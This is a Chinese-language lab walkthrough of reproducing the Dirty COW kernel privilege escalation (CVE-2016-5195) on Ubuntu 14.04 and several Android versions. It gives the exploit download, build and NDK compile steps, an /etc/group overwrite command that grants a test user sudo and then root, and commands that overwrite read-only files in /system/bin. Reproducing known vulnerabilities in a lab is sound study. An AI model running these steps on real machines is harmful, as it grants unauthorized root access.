# （CVE-2016-5195）脏牛Linux 本地提权.md

编译好的EXP下载地址： https://github.com/Brucetg/DirtyCow-EXP

该漏洞是 Linux 内核的内存子系统在处理写时拷贝（Copy-on-Write）时存在条件竞争漏洞， 导致可以破坏私有只读内存映射。黑客可以在获取低权限的的本地用户后，利用此漏洞获取 其他只读内存映射的写权限，进一步获取 root 权限。

## 1.Linux

**Ubuntu 14.04 :**

1）添加用户：

```
sudo adduser test 
```

输入两次密码后一直回车就行，查看当前用户的信息，终端输入 id，回车，可以看到当 前用户是有 sudo 权限的。

切换到刚刚新建的 test 用户，同样输入 id，查看 test 用户的信息，发现 test 用户没有 sudo 权限，

![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChB3md.png)

2）运行DirtyCow的exp进行提权：

```
git clone https://github.com/dirtycow/dirtycow.github.io

cd dirtycow.github.io
```

编译exp：

```
gcc dirtyc0w.c -o dirtycow lpthread
```

执行exp：

```
./dirtycow /etc/group “$(sed ‘/\(sudo*\)/ s/$/,test/’ /etc/group)”
```

![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChBGTI.png)

新打开一个终端，切换到test，查看test用户信息，可以看到test用户已经拥有了sudo权限，执行sudo su ，输入test用户的密码后就可以切换到root权限，提权成功。

![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChB6kq.png)

**漏洞成因：**

Linux写时拷贝技术（copy-on-write）

在Linux系统中，fork()会产生一个和父进程完全相同的子进程，但子进程在此后多会exec系统调用，出于效率考虑，Linux系统中引入了“写时复制”技术，也就是只有进程空间的各段的内容要发生变化时，才会将父进程的内容复制一份给子进程。

## 2.Android：

Linux上编译好的exp在Android平台上不能用，使用NDK编译下载好的exp：

EXP下载地址：

```
https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c
```

#### 1. ANDROID STUDIO中安装NDK，把CMAKE和LLDB也安装一下：

![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChBHtx.png)

#### 2. 在 [HTTPS://GITHUB.COM/GOOGLESAMPLES/ANDROID-NDK](https://github.com/googlesamples/android-ndk) 下载源码，导入ANDROID STUDIO

如果导入项目时Android studio好像卡住了一样，有可能是Android Studio在后台正在下载东西，沿着这个路径：项目/gradle/wrapper找到这个文件： gradle-wrapper.properties，打开它看看最后一行的gradle版本，若版本和你现有的版本不一致，可以去http://services.gradle.org/distributions/ 上下载相应的版本，手动拷贝到：

```
C:\Users\用户名\.gradle\wrapper\dists\gradle-4.1-all\bzyivzo6n839fup2jbap0tjew   目录下
```

**注：**这里的 bzyivzo6n839fup2jbap0tjew 是随机的

将下载好的android-ndk源码解压到某个位置，这里我是解压到了桌面上，所以在我个人的的计算机上android-ndk路径如下：

```
C:\Users\wangzt\Desktop\android-ndk
```

我们只需要用下面路径中的相应文件即可：

```
C:\Users\wangzt\Desktop\android-ndk\hello-jni\app\src\main\
```

在main目录下新建文件夹jni，在jni文件夹中新建两个文件：Android.mk 和Application.mk,内容如下：

**Android.mk**

```
LOCAL_PATH:= $(call my-dir)

include $(CLEAR_VARS)
LOCAL_SRC_FILES:= dirtyc0w.c
LOCAL_MODULE:= dirtycow

LOCAL_FORCE_STATIC_EXECUTABLE := true
#LOCAL_STATIC_LIBRARIES := libc
#LOCAL_CFLAGS += -Iinclude/dir -DSOMEFLAGS

include $(BUILD_EXECUTABLE)
```

**Application.mk**

```
APP_ABI := all
```

要编译的文件：

![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChDF9f.png)

#### 3. 编译EXP：

命令行下cd 到如下目录：

```
C:\Users\wangzt\Desktop\android-ndk\hello-jni\app\src\main\jni>
```

执行命令：

```
D:\AndroidSDK\ndk-bundle\ndk-build
```

编译成功后,在main目录下的libs文件夹中即可找到编译好的对应平台的EXP：

![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChDmHs.png)

编译好的exp：

![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChDM40.png)



**Android 4.4**

adb连接手机（手机需开启USB调试）：

查看和adb连接的设备：

![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChDrvD.png)

在/system/bin/目录下新建文件test_dirty_cow，并且将其权限修改为644

![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChDcbd.png)

将编译好的EXP push到测试机的/data/local/tmp/目录下的dirtycow文件中（这里选用的编译好的POC是armeabi 平台的，arm64-v8a经测试不能使用，可以根据自己用的测试机的架构选择相应的平台）：

![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChDRUI.png)

修改EXP权限：

![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChD48f.png)

当前用户权限（shell）：

![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChDTKg.png)

切换到root权限，向test_dirty_cow文件中写入 123456，写入之后再切换为普通用户权限（shell），以普通用户权限执行EXP（下同）：

/data/local/tmp/dirtycow /system/bin/test_dirty_cow modify

然后查看test_dirty_cow中的内容，发现文件内容已被修改为modify，复现成功：

![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChDLan.png)

**Android 6.0.1 （安全补丁程序级别： 2017年2月1日）**

测试机系统具体信息：

![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChDzxU.png)





![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChrpMF.png)



Android 6.0.1 默认关闭了并隐藏了开发者选项，需要在关于手机里的版本号处连续点击5次版本号才可以启用开发者选项，然后在开发者选项中启用USB调试。

![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChriZ9.png)

接着我们在 /system/bin 目录下创建一个普通用户没有写权限的文件，因为默认的 /system 目录是只读的，所以需要 remount /system

**注意：**

```
mount -o rw,remount /system   
```

上述命令中，remount和它前面的逗号之间不要有空格。

接下来的操作步骤和在Android 4.4 系统中差不多：

![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChrZRK.png)

adb中切换为root权限，将新建的test_dirtycow 文件的权限修改为 644

![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChrnMD.png)

给EXP可执行权限：

![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChrKqH.png)

执行EXP 报错：

![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChrQZd.png)

PIE这个安全机制从4.1引入，但是Android L之前的系统版本并不会去检验可执行文件是否基于PIE编译出的。因此不会报错。但是Android L已经开启验证，如果调用的可执行文件不是基于PIE方式编译的，则无法运行。解决办法非常简单，在Android.mk中加入如下flag即可。

```
LOCAL_CFLAGS += -pie -fPIE
LOCAL_LDFLAGS += -pie -fPIE
```

**修改后的Android.mk 文件：**

```
LOCAL_PATH:= $(call my-dir)

include $(CLEAR_VARS)
LOCAL_SRC_FILES:= dirtyc0w.c
LOCAL_MODULE:= dirtycow

LOCAL_FORCE_STATIC_EXECUTABLE := true
#LOCAL_STATIC_LIBRARIES := libc
#LOCAL_CFLAGS += -Iinclude/dir -DSOMEFLAGS

LOCAL_CFLAGS += -pie -fPIE
LOCAL_LDFLAGS += -pie -fPIE

include $(BUILD_EXECUTABLE)
```

**Application.mk**

```
APP_ABI := all
```

编译EXP：

Windows命令行下进行编译，因为我下载的ndk 存放在D:\AndroidSDK\ndk-bundle文件夹中，所以只需要在命令行下输入如下命令进行编译：

```
D:\AndroidSDK\ndk-bundle\ndk-build
```

![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChrYz8.png)

经测试，不能任意修改文件内容：

![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChrNQS.png)

因为这个Android 6.0的系统安全补丁是2017年2月份的，估计漏洞已经修补好了。

**Android 6.0.1_r68（安全补丁程序级别： 2016年9月6日）**

不多说，一样的操作：

![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChrwZj.png)

可以看到test_dirtyc0w文件中的内容被修改为 modify，复现成功。

**Android 5.1.1**

复现过程：

用的EXP是测试Android 6.0.1时编译好的，拿来直接用即可。

![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChrsJ0.png)

在/system/bin目录下新建文件 test_dirty，试了几次没有成功：

![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/Chr4oR.png)

解决办法：执行

```
mount -o rw,remount /system
```

并将新建的test_dirty 权限修改为644:

![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChroJx.png)

向文件test_dirty中写入 123456,执行EXP：

```
/data/local/tmp/dirtycow /system/bin/test_dirty modify
```

EXP执行一段时间后即可停止，此时再次查看 test_dirty 文件中的内容，发现文件内容已被更改为 modify，复现成功：

![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChrqyD.png)

> https://forum.90sec.com/t/topic/521